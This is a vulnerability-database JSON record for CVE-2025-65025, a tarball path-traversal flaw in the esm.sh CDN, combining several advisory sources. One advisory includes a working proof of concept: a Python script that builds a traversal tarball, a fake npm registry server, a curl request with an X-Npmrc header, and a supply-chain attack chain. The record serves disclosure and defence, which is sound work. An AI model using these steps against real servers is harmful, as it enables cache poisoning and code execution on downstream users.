{"id":"GHSA-h3mw-4f23-gwpw","revision":null,"records":[{"revision":"4a039dc92584472789245d9919f51159","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-65025","aliases":[],"title":"esm.sh CDN service has arbitrary file write via tarslip","description":"esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136.","state":0,"publishedAt":"2025-11-19T17:32:46.835+00:00","modifiedAt":"2025-11-20T14:09:44.277+00:00","affected":[{"ecosystem":"Vendor product","name":"esm.sh","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"esm-dev\",\n                    \"product\": \"esm.sh\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 136\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw","https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-65025","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-65025","identifiers":["CVE-2025-65025"]},"retained":false,"historicalAffected":[]},{"revision":"c6a6bbb7e93640caadb1bfecc178212f","observedAt":"2026-11-09T04:07:54.731+00:00","statement":{"source":"euvd","id":"EUVD-2025-198181","aliases":["CVE-2025-65025","GHSA-h3mw-4f23-gwpw"],"title":"esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package …","description":"esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":8.2,"severity":null}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw","https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-198181","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 19, 2025, 5:32:46 PM","dateUpdated":"Nov 20, 2025, 2:09:44 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-198181","identifiers":["EUVD-2025-198181","CVE-2025-65025","GHSA-h3mw-4f23-gwpw"]},"retained":false,"historicalAffected":[]},{"revision":"c548a4da8b4642bc93613104be2a0fdd","observedAt":"2026-10-25T03:17:36.152+00:00","statement":{"source":"nvd","id":"CVE-2025-65025","aliases":[],"title":"esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package …","description":"esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136.","state":0,"publishedAt":"2025-11-19T18:15:49.84+00:00","modifiedAt":"2026-10-18T20:10:00.11+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":8.2,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16","https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-65025","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22"],"productCriteria":["cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2025-11-19T18:15:49.840","lastModified":"2026-10-18T20:10:00.110"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-65025","identifiers":["CVE-2025-65025"]},"retained":false,"historicalAffected":[]},{"revision":"913ef0011f744d1aba18354f3a52daed","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-h3mw-4f23-gwpw","aliases":["CVE-2025-65025","GO-2025-4138"],"title":"esm.sh CDN service has arbitrary file write via tarslip","description":"### Summary\nThe esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.  \nAn attacker can craft a malicious NPM package containing specially crafted file paths (e.g., `package/../../tmp/evil.js`).  \nWhen esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.\n\nUploading files containing `../` in the path is not allowed on official registries (npm, GitHub), but the `X-Npmrc` header allows specifying any arbitrary registry.  \nBy setting the registry to an attacker-controlled server via the `X-Npmrc` header, this vulnerability can be triggered.\n\n### Details\n**file:** `server/npmrc.go`  \n**line:** 552-567\n\n```go\nfunc extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {\n    \n    pkgDir := path.Join(installDir, \"node_modules\", pkgName)\n    \n    tr := tar.NewReader(unziped)\n    for {\n        h, err := tr.Next()\n        // ...\n        \n        // Strip tarball root directory\n        _, name := utils.SplitByFirstByte(h.Name, '/')  // \"package/../../tmp/evil\" → \"../../tmp/evil\"\n        filename := path.Join(pkgDir, name)             // ← No validation\n        \n        if h.Typeflag != tar.TypeReg {\n            continue \n        }\n        \n        // Extension filtering\n        extname := path.Ext(filename)\n        if !(extname != \"\" && (allowed_extensions)) {\n            continue  // Only extract .js, .css, .json, etc.\n        }\n        \n        ensureDir(path.Dir(filename))\n        f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)\n        // ← File created without path validation!\n        // ...\n    }\n}\n```\nThe code uses `path.Join(pkgDir, name)`, which normalizes the path and allows sequences like `../../` to escape the intended package directory.\n\n```\npkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg\nname:   ../../../../../../tmp/pyozzi.js\nresult:   /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js\n        → /tmp/pyozzi.js  (path traversal)\n```\n\n### PoC\n**Test On**\n- esm.sh Official Docker Image (latest version)\n- python 3.11\n- flask (for attacker registry server)\n\n### Step 1. Create Malicious tarball file\n```python\n#!/usr/bin/env python3\n\"\"\"\nMalicious Tarball Generator for esm.sh Path Traversal\nCreates tarball with path traversal payloads\n\"\"\"\n\nimport tarfile\nimport io,os\nimport json\nfrom datetime import datetime\n\ndef create_malicious_tarball(package_name=\"test-tarslip\"):\n    \n    # PoC file Content\n    poc_payload = b\"\"\"// Path Traversal PoC\n    // This file was created via tarslip attack\n    // Location: /tmp/pyozzi.js\n\n    console.log('[!!!] Path Traversal Successful!');\n    console.log('Package: %s');\n    console.log('Researcher: pyozzi');\n\n    module.exports = {\n        poc: true,\n        vulnerability: 'CWE-22 Path Traversal',\n        package: '%s'\n    };\n    \"\"\" % (package_name.encode(), package_name.encode())\n    \n    files = {\n        \"package/index.js\": b\"module.exports = { version: '1.0.0', test: true };\",\n        \"package/package.json\": json.dumps({\n            \"name\": package_name,\n            \"version\": \"1.0.0\",\n            \"description\": \"Test package for security research\",\n            \"main\": \"index.js\",\n            \"keywords\": [\"test\", \"security\", \"research\"],\n            \"author\": \"Security Researcher\",\n            \"license\": \"MIT\"\n        }, indent=2).encode(),\n        \n        \"package/../../../../../../../../../tmp/pyozzi.js\": poc_payload,\n    }\n    \n    # Create Tarball\n    \n    tarball_name = f\"{package_name}-1.0.0.tgz\"\n    \n    print(\"Creating tarball with payloads:\")\n    print()\n    \n    with tarfile.open(tarball_name, \"w:gz\") as tar:\n        for name, content in files.items():\n            info = tarfile.TarInfo(name=name)\n            info.size = len(content)\n            info.mode = 0o755\n            info.mtime = int(datetime.now().timestamp())\n            tar.addfile(info, io.BytesIO(content))\n\n    print(f\"File: {tarball_name}\")\n    print(f\"Size: {os.path.getsize(tarball_name)} bytes\")\n\n    # Check Tarball Content\n    print(\"Tarball contents:\")\n    with tarfile.open(tarball_name, \"r:gz\") as tar:\n        for member in tar.getmembers():\n            marker = \">> \" if \"../\" in member.name else \"   \"\n            mode = oct(member.mode)[-3:]\n            print(f\"{marker}{member.name} (mode: {mode})\")\n\nif __name__ == '__main__':\n    create_malicious_tarball()\n```\n\n**output:**\n```bash\n $ python create_tarball.py\nCreating tarball with payloads:\n\nFile: test-tarslip-1.0.0.tgz\nSize: 545 bytes\nTarball contents:\n   package/index.js (mode: 755)\n   package/package.json (mode: 755)\n>> package/../../../../../../../../../tmp/pyozzi.js (mode: 755)\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-tarslip-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route('/<package>')\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route('/<package>/-/<filename>')\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\n### Step 3. Request Malicious Package with X-Npmrc Header\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H 'X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}'\n```\n\n### Step 4. Check Path Traversal\n```bash\ndocker exec esm-test cat /tmp/pyozzi.js\n\n# ouput:\n// Path Traversal PoC\n    // This file was created via tarslip attack\n    // Location: /tmp/pyozzi.js\n\n    console.log('[!!!] Path Traversal Successful!');\n    console.log('Package: test-tarslip');\n    console.log('Researcher: pyozzi');\n\n    module.exports = {\n        poc: true,\n        vulnerability: 'CWE-22 Path Traversal',\n        package: 'test-tarslip'\n    };\n...\n```\n\n### Impact\nThis vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.\n\n**Attack Chain:**\n1. Attacker identifies popular packages and their cached build file locations via API enumeration\n2. Uses path traversal to overwrite cached build files (e.g., `/esm/storage/modules/react@18.3.1/es2022/react.mjs`)\n3. Injects malicious code into the build files\n4. Any application importing these packages receives the backdoored version\n5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)\n\n**Impact Scale:**\n- Affects all downstream users of compromised packages\n- Can target specific frameworks (React, Vue, etc.) used by thousands of applications\n- Enables XSS in browsers, RCE in Electron applications\n- Difficult to detect as traffic appears legitimate\n\n### Patch\n1. Path validation is required when unpacking a tar file.\n2. `X-Npmrc` whitelist logic is required.","state":0,"publishedAt":"2025-11-19T20:30:00+00:00","modifiedAt":"2025-11-27T09:00:45.51321+00:00","affected":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20251117232647-9d77b88c3207"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw","https://nvd.nist.gov/vuln/detail/CVE-2025-65025","https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16","https://github.com/esm-dev/esm.sh"],"sourceUrl":"https://github.com/advisories/GHSA-h3mw-4f23-gwpw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-h3mw-4f23-gwpw","identifiers":["GHSA-h3mw-4f23-gwpw","CVE-2025-65025","GO-2025-4138"]},"retained":false,"historicalAffected":[]},{"revision":"5d882396d5b348f0abefe50aa4cd0d38","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2025-4138","aliases":["CVE-2025-65025","GHSA-h3mw-4f23-gwpw"],"title":"esm.sh CDN service has arbitrary file write via tarslip in github.com/esm-dev/esm.sh","description":"esm.sh CDN service has arbitrary file write via tarslip in github.com/esm-dev/esm.sh","state":0,"publishedAt":"2025-11-25T18:12:18+00:00","modifiedAt":"2026-03-03T04:57:38.98115+00:00","affected":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20251117232647-9d77b88c3207"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw","https://nvd.nist.gov/vuln/detail/CVE-2025-65025","https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"],"sourceUrl":"https://osv.dev/vulnerability/GO-2025-4138","license":"OSV · upstream source license applies","key":"osv:GO-2025-4138","identifiers":["GO-2025-4138","CVE-2025-65025","GHSA-h3mw-4f23-gwpw"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-09T06:02:15.5744295+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-09T06:02:15.5744295+00:00","lastSuccessAt":"2026-11-09T06:02:15.8100724+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:15.8100756+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-24e6fde7b744113daefb8f6135035fb8a5c69c9617c9c0d40574a0376532ffd3-61bf15172f364246efc204ad9b25e3f89710939e13c23b3efb3d009b5fdad808","complete":true,"records":421290,"lastAttemptAt":"2026-11-09T06:02:14.4940664+00:00","lastSuccessAt":"2026-11-09T05:02:14.5253969+00:00","error":"HttpRequestException","lastVerifiedAt":"2026-11-09T05:02:14.5383867+00:00","snapshotPublishedAt":"2026-11-09T04:29:38+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-52f0bd58a8564ba89a1952b43ef3bc92","complete":false,"records":13654,"lastAttemptAt":"2026-11-09T06:14:09.0160642+00:00","lastSuccessAt":"2026-11-09T06:14:09.013+00:00","error":"8 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-09T06:14:09.013+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13674,"expectedIdentifiers":13706,"failedIdentifiers":8},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-09T06:02:15.5744295+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-09T06:02:15.5744295+00:00","lastSuccessAt":"2026-11-09T06:02:15.8108397+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:15.81084+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-5a44a451442747cb81d83104fe1e7771","complete":true,"records":13666,"lastAttemptAt":"2026-11-09T06:02:16.371904+00:00","lastSuccessAt":"2026-11-09T02:08:52.274+00:00","error":null,"lastVerifiedAt":"2026-11-09T02:08:52.274+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-09T06:02:15.5156789+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:15.5156789+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-09T06:02:14.6970768+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:14.6970768+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f6d341f4320a5a0c059c28102ee651c3dd06abc87b84d2bafa4e2a823ec07d35","complete":true,"records":3056,"lastAttemptAt":"2026-11-09T06:02:15.5284383+00:00","lastSuccessAt":"2026-11-09T05:02:23.1539412+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:15.5284383+00:00","snapshotPublishedAt":"2026-11-09T04:47:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-6a1c845b1938b1aa788f0e95c9ac8a8d5a1f07caed5d155840b0616b548c1455","complete":true,"records":231296,"lastAttemptAt":"2026-11-09T06:02:15.4064738+00:00","lastSuccessAt":"2026-11-09T04:03:49.859595+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:15.4064738+00:00","snapshotPublishedAt":"2026-11-09T03:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}